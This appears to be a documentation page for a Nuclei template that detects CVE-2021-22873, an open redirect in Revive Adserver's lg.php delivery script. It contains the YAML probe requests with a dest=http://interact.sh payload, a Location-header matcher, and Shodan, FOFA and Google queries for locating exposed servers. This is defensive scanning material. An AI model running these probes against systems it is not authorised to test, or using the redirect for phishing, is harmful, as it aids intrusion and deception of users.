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Revive Adserver <5.1.0 - Open Redirect

ID: CVE-2021-22873

Severity: medium

Author: pudsec

Tags: cve2021,cve,hackerone,seclists,packetstorm,redirect,revive,revive-adserver

Description

Section titled “Description”

Revive Adserver before 5.1.0 contains an open redirect vulnerability via the dest, oadest, and ct0 parameters of the lg.php and ck.php delivery scripts. An attacker can redirect a user to a malicious site and possibly obtain sensitive information, modify data, and/or execute unauthorized operations.

YAML Source

Section titled “YAML Source”
id: CVE-2021-22873


info:
  name: Revive Adserver <5.1.0 - Open Redirect
  author: pudsec
  severity: medium
  description: Revive Adserver before 5.1.0 contains an open redirect vulnerability via the dest, oadest, and ct0 parameters of the lg.php and ck.php delivery scripts. An attacker can redirect a user to a malicious site and possibly obtain sensitive information, modify data, and/or execute unauthorized operations.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to redirect users to malicious websites, leading to phishing attacks or the execution of further attacks.
  remediation: |
    Upgrade Revive Adserver to version 5.1.0 or later to mitigate this vulnerability.
  reference:
    - https://hackerone.com/reports/1081406
    - https://github.com/revive-adserver/revive-adserver/issues/1068
    - http://seclists.org/fulldisclosure/2021/Jan/60
    - https://nvd.nist.gov/vuln/detail/CVE-2021-22873
    - http://packetstormsecurity.com/files/161070/Revive-Adserver-5.0.5-Cross-Site-Scripting-Open-Redirect.html
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2021-22873
    cwe-id: CWE-601
    epss-score: 0.00922
    epss-percentile: 0.82899
    cpe: cpe:2.3:a:revive-adserver:revive_adserver:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 6
    vendor: revive-adserver
    product: revive_adserver
    shodan-query:
      - http.favicon.hash:106844876
      - http.title:"revive adserver"
    fofa-query:
      - icon_hash=106844876
      - title="revive adserver"
    google-query: intitle:"revive adserver"
  tags: cve2021,cve,hackerone,seclists,packetstorm,redirect,revive,revive-adserver


http:
  - method: GET
    path:
      - "{{BaseURL}}/ads/www/delivery/lg.php?dest=http://interact.sh"
      - "{{BaseURL}}/adserve/www/delivery/lg.php?dest=http://interact.sh"
      - "{{BaseURL}}/adserver/www/delivery/lg.php?dest=http://interact.sh"
      - "{{BaseURL}}/openx/www/delivery/lg.php?dest=http://interact.sh"
      - "{{BaseURL}}/revive/www/delivery/lg.php?dest=http://interact.sh"
      - "{{BaseURL}}/www/delivery/lg.php?dest=http://interact.sh"


    stop-at-first-match: true
    host-redirects: true
    max-redirects: 2
    matchers:
      - type: regex
        part: header
        regex:
          - '(?m)^(?:Location\s*?:\s*?)(?:https?:\/\/|\/\/|\/\\\\|\/\\)(?:[a-zA-Z0-9\-_\.@]*)interact\.sh\/?(\/|[^.].*)?$' # https://regex101.com/r/L403F0/1
# digest: 490a004630440220579319e79815f6f1205cb5fce7d38d9fa2acec4d3b47eebfdc18f8a693222ab002202d270ff69664474f3a219c6f0c463761063e1e33e6590ccbb67f797155ac282f:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

Section titled “Guide to check the vulnerabilities”

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/cves/2021/CVE-2021-22873.yaml"

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